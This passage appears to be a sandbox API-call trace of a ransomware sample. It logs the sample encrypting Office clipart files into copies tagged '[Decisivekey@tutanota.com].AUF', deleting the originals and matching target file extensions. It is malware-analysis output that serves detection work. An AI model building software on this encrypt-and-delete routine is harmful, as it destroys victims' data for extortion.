liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.948] GetLastError () returned 0x0 [0216.948] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x2244, lpOverlapped=0x0) returned 1 [0216.976] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0217.125] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.125] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.126] SetEndOfFile (hFile=0x21c) returned 1 [0217.481] CloseHandle (hObject=0x21c) returned 1 [0217.481] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.481] SetEndOfFile (hFile=0x1e4) returned 1 [0217.571] CloseHandle (hObject=0x1e4) returned 1 [0217.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0217.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0217.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0217.572] lstrlenW (lpString=".doc") returned 4 [0217.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.572] lstrlenW (lpString=".docx") returned 5 [0217.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.572] lstrlenW (lpString=".pdf") returned 4 [0217.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.572] lstrlenW (lpString=".xls") returned 4 [0217.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.572] lstrlenW (lpString=".xlsx") returned 5 [0217.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.572] lstrlenW (lpString=".ppt") returned 4 [0217.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0217.572] lstrlenW (lpString=".zip") returned 4 [0217.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.572] lstrlenW (lpString=".rar") returned 4 [0217.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.572] lstrlenW (lpString=".bz2") returned 4 [0217.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.572] lstrlenW (lpString=".7z") returned 3 [0217.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0217.572] lstrlenW (lpString=".dbf") returned 4 [0217.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0217.572] lstrlenW (lpString=".1cd") returned 4 [0217.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0217.572] lstrlenW (lpString=".jpg") returned 4 [0217.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.572] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1012) returned 1 [0217.572] CloseHandle (hObject=0x1e4) returned 1 [0217.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0217.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.573] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.573] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.573] GetLastError () returned 0x0 [0217.573] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0217.574] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x400, lpOverlapped=0x0) returned 1 [0217.575] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.575] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.575] SetEndOfFile (hFile=0x1f8) returned 1 [0217.575] CloseHandle (hObject=0x1f8) returned 1 [0217.575] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.575] SetEndOfFile (hFile=0x1e4) returned 1 [0217.576] CloseHandle (hObject=0x1e4) returned 1 [0217.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0217.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0217.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0217.576] lstrlenW (lpString=".doc") returned 4 [0217.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.576] lstrlenW (lpString=".docx") returned 5 [0217.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.576] lstrlenW (lpString=".pdf") returned 4 [0217.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.576] lstrlenW (lpString=".xls") returned 4 [0217.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.576] lstrlenW (lpString=".xlsx") returned 5 [0217.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.577] lstrlenW (lpString=".ppt") returned 4 [0217.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0217.577] lstrlenW (lpString=".zip") returned 4 [0217.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.577] lstrlenW (lpString=".rar") returned 4 [0217.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.577] lstrlenW (lpString=".bz2") returned 4 [0217.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.577] lstrlenW (lpString=".7z") returned 3 [0217.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0217.577] lstrlenW (lpString=".dbf") returned 4 [0217.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0217.577] lstrlenW (lpString=".1cd") returned 4 [0217.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0217.577] lstrlenW (lpString=".jpg") returned 4 [0217.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.579] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.579] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.580] GetLastError () returned 0x0 [0217.580] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x370, lpOverlapped=0x0) returned 1 [0217.638] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x380, lpOverlapped=0x0) returned 1 [0217.643] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.643] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.644] SetEndOfFile (hFile=0x218) returned 1 [0217.644] CloseHandle (hObject=0x218) returned 1 [0217.644] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.644] SetEndOfFile (hFile=0x1f4) returned 1 [0217.644] CloseHandle (hObject=0x1f4) returned 1 [0217.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0217.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0217.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0217.645] lstrlenW (lpString=".doc") returned 4 [0217.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.645] lstrlenW (lpString=".docx") returned 5 [0217.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.645] lstrlenW (lpString=".pdf") returned 4 [0217.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.645] lstrlenW (lpString=".xls") returned 4 [0217.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.645] lstrlenW (lpString=".xlsx") returned 5 [0217.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.645] lstrlenW (lpString=".ppt") returned 4 [0217.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0217.645] lstrlenW (lpString=".zip") returned 4 [0217.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.645] lstrlenW (lpString=".rar") returned 4 [0217.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.645] lstrlenW (lpString=".bz2") returned 4 [0217.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.645] lstrlenW (lpString=".7z") returned 3 [0217.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0217.645] lstrlenW (lpString=".dbf") returned 4 [0217.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0217.646] lstrlenW (lpString=".1cd") returned 4 [0217.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0217.646] lstrlenW (lpString=".jpg") returned 4 [0217.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.646] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3986) returned 1 [0217.646] CloseHandle (hObject=0x1f4) returned 1 [0217.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0217.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.646] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.646] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.646] GetLastError () returned 0x0 [0217.646] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xf92, lpOverlapped=0x0) returned 1 [0217.745] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0217.746] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.746] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.746] SetEndOfFile (hFile=0x218) returned 1 [0217.746] CloseHandle (hObject=0x218) returned 1 [0217.747] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.747] SetEndOfFile (hFile=0x1f4) returned 1 [0217.747] CloseHandle (hObject=0x1f4) returned 1 [0217.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0217.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0217.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0217.748] lstrlenW (lpString=".doc") returned 4 [0217.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.748] lstrlenW (lpString=".docx") returned 5 [0217.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.748] lstrlenW (lpString=".pdf") returned 4 [0217.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.748] lstrlenW (lpString=".xls") returned 4 [0217.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.748] lstrlenW (lpString=".xlsx") returned 5 [0217.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.748] lstrlenW (lpString=".ppt") returned 4 [0217.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0217.748] lstrlenW (lpString=".zip") returned 4 [0217.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.748] lstrlenW (lpString=".rar") returned 4 [0217.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.748] lstrlenW (lpString=".bz2") returned 4 [0217.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.748] lstrlenW (lpString=".7z") returned 3 [0217.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0217.748] lstrlenW (lpString=".dbf") returned 4 [0217.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0217.748] lstrlenW (lpString=".1cd") returned 4 [0217.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0217.748] lstrlenW (lpString=".jpg") returned 4 [0217.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.748] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1536) returned 1 [0217.748] CloseHandle (hObject=0x1f4) returned 1 [0217.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0217.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.749] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.749] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.749] GetLastError () returned 0x0 [0217.749] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x600, lpOverlapped=0x0) returned 1 [0217.760] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x610, lpOverlapped=0x0) returned 1 [0217.760] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.760] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.761] SetEndOfFile (hFile=0x218) returned 1 [0217.761] CloseHandle (hObject=0x218) returned 1 [0217.761] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.761] SetEndOfFile (hFile=0x1f4) returned 1 [0217.761] CloseHandle (hObject=0x1f4) returned 1 [0217.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0217.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0217.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0217.762] lstrlenW (lpString=".doc") returned 4 [0217.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.762] lstrlenW (lpString=".docx") returned 5 [0217.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.762] lstrlenW (lpString=".pdf") returned 4 [0217.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.762] lstrlenW (lpString=".xls") returned 4 [0217.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.762] lstrlenW (lpString=".xlsx") returned 5 [0217.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.762] lstrlenW (lpString=".ppt") returned 4 [0217.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0217.762] lstrlenW (lpString=".zip") returned 4 [0217.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.762] lstrlenW (lpString=".rar") returned 4 [0217.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.762] lstrlenW (lpString=".bz2") returned 4 [0217.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.762] lstrlenW (lpString=".7z") returned 3 [0217.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.762] lstrlenW 